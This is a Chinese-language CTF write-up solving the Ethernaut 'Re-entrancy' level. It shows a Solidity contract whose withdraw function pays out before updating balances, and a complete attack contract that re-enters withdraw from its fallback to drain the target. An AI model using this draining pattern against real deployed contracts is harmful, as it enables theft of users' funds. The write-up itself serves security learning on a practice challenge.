10.Re-entrancy
2023-06-23 20:21:59 # 04.Ethernaut CTF

Re-entrancy

题目

目标:这一关的目标是偷走合约的所有资产

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Reentrance {

using SafeMath for uint256;
mapping(address => uint) public balances;

function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}

function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}

function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

receive() external payable {}
}

分析

重入,老朋友了,具体原理看这里【博客=>09.安全审计=>重入攻击系列】,不做多阐述。

首先我们查看这个合约有多少钱:0.001ETH,即1000000000000000Wei。

image-20221223134115654

那么按照老套路写代码进行攻击

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
contract Hack{
Reentrance public reentrance = Reentrance(0x5435b127B6F9404D2DDd7BE6Ebb61719BF990DFC);

function attack() public payable{
//1.设置msg.value=1000000000000000Wei
//2.这一步将存钱1000000000000000Wei
reentrance.donate.value(0.001 ether)(address(this));
//3.然后取钱1000000000000000Wei
reentrance.withdraw(1000000000000000);
}

fallback() external payable {
//4.进入fallback重入
if (address(reentrance).balance >= 0.001 ether) {
reentrance.withdraw(1000000000000000);
}
}

}

做题

获取实例,部署,攻击。记得attack的时候, msg.value设置为1000000000000000Wei

image-20221223142424256

通过

image-20221223141650766